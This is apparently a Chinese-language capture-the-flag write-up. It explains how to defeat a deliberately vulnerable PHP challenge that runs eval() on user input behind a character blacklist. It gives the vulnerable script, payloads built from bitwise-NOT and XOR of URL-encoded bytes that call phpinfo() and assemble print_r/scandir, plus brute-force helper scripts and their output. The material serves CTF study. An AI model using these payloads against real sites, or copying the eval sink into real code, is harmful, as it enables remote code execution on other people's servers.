示例代码
php
<?php
highlight_file(__FILE__);
$_ = @$_GET['_'];
if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i', $_) )
die('rosé will not do it');
if ( strlen(count_chars(strtolower($_), 0x3)) > 0xd )
die('you are so close, omg');
eval($_);
?>
构造
php
(~%8F%97%8F%96%91%99%90)();
如果你不理解这是为什么,执行以下代码
php
<?php
$a = urlencode(~'phpinfo();');
echo $a.'|';
$a = "(~".urldecode('%8F%97%8F%96%91%99%90').")();";
echo $a;
eval($a);
?>
通过尝试所有排列组合寻找能组成目标的^字符
php
<?php
$find_string = "phpinfo"; // 目标字符串
$allowed = "!#%()*+-/:;<=>?@ABCHIJKLMNQRTUVWXYZ\]^abchijklmnqrtuvwxyz}~"; // 允许的字符集
// 初始化三个数组,用于存储匹配的 i、p 和 a$i_array = [];
$p_array = [];
$a_array = [];
// 遍历目标字符串中的每个字符
foreach (str_split($find_string) as $a) {
// 将目标字符转换为 ASCII 值
$a_ord = ord($a);
// 遍历允许字符集中的每两个字符组合
foreach (str_split($allowed) as $i) {
foreach (str_split($allowed) as $p) {
// 如果异或操作结果等于目标字符的 ASCII 值,则将 i, p, a 存入对应数组
if ((ord($i) ^ ord($p)) == $a_ord) {
echo $i . " ^ " . $p . " = " . $a . "\n";
// 存储到相应的数组中
$i_array[] = $i;
$p_array[] = $p;
$a_array[] = $a;
}
}
}
}
// 输出存储的结果
echo "i_array: " . implode(", ", $i_array) . "\n";
echo "p_array: " . implode(", ", $p_array) . "\n";
echo "a_array: " . implode(", ", $a_array) . "\n";
// 按顺序取出字符集中的字符,并打印公式
echo "Printing formulas:\n";
foreach (str_split($allowed) as $current_char) {
for ($index = 0; $index < count($i_array); $index++) {
// 获取 i, p 和 a $i = $i_array[$index];
$p = $p_array[$index];
$a = $a_array[$index];
// 如果公式中的 i 或 p 等于当前字符,就打印公式
if ($i === $current_char || $p === $current_char) {
echo "$i ^ $p = $a\n";
}
}
}
?>
如果你不理解为什么,执行以下代码
php
<?php
echo urlencode(~'!'). '|';
echo '0x'.bin2hex(urldecode('%DE')).'|';
echo urlencode(~'Q'). '|';
echo '0x'.bin2hex(urldecode('%AE')).'|';
echo ('!' ^ 'Q').'|';
echo (~urldecode('%DE') ^ ~urldecode('%AE')).'|';
echo chr(~0x8b);
?>
// %DE|0xde|%AE|0xae|p|p|t
如果限制了不同字符数,仍然可继续缩减
php
<?php
// 输入字符串
$result2_str = 'td_cpna.irs'; // 从..
$result_str = 'd_cpa.is'; // 寻找替代
// 将字符串转换为整数数组,对每个字符应用 ~ 操作
$result2 = array_map(function($c) { return ~ord($c); }, str_split($result2_str));
$result = array_map(function($c) { return ~ord($c); }, str_split($result_str));
// 用于存储结果
$temp = [];
foreach ($result2 as $d) {
// 遍历 $result 中三个元素的组合
foreach ($result as $a) {
foreach ($result as $b) {
foreach ($result as $c) {
if (($a ^ $b ^ $c) == $d) {
// 如果 a, b, c, d 都相同,跳过
if ($a == $b && $b == $c && $c == $d) {
continue;
} else {
// 打印匹配的值
printf("~(%s ^ %s ^ %s) = %s\n", urlencode(chr($a)), urlencode(chr($b)), urlencode(chr($c)), urlencode(chr($d)));
printf("~(%s ^ %s ^ %s) = %s\n", chr(~$a), chr(~$b), chr(~$c), chr(~$d));
// 如果 d 不在 $temp 中,则添加
if (!in_array($d, $temp)) {
$temp[] = $d;
}
}
}
}
}
}
}
// 输出 temp 数组的长度和内容
echo "总共唯一值数量: " . count($temp) . "\n";
echo "唯一的 d 值: ";
print_r($temp);
php
~(%9B ^ %8C ^ %9C) = %8B
~(d ^ s ^ c) = t
~(%9C ^ %9B ^ %8C) = %8B
~(c ^ d ^ s) = t
~(%9C ^ %8C ^ %9B) = %8B
~(c ^ s ^ d) = t
~(%8C ^ %9B ^ %9C) = %8B
~(s ^ d ^ c) = t
~(%8C ^ %9C ^ %9B) = %8B
~(s ^ c ^ d) = t
~(%9B ^ %A0 ^ %A0) = %9B
~(d ^ _ ^ _) = d
~(%9B ^ %9C ^ %9C) = %9B
~(d ^ c ^ c) = d
~(%9B ^ %8F ^ %8F) = %9B
php
<?php
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D'));
echo "\n";
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D'));
echo "\n";
// 异或三次相等
echo ~(urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D') ^ urldecode('%8F%8D%96%91%8B%A0%8D'));
echo "\n";
echo ~(urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D') ^ urldecode('%8C%9C%9E%91%9B%96%8D'));
echo "\n";
// %8d == %9C ^ %8F ^ %9E
echo ~(urldecode('%8F%9C%96%91%8B%A0%9C') ^ urldecode('%8F%8F%96%91%8B%A0%8F') ^ urldecode('%8F%9E%96%91%8B%A0%9E'));
echo "\n";
echo ~(urldecode('%8C%9C%9E%91%9B%96%9C') ^ urldecode('%8C%9C%9E%91%9B%96%8F') ^ urldecode('%8C%9C%9E%91%9B%96%9E'));
echo "\n";
print_r
scandir
print_r
scandir
print_r
scandir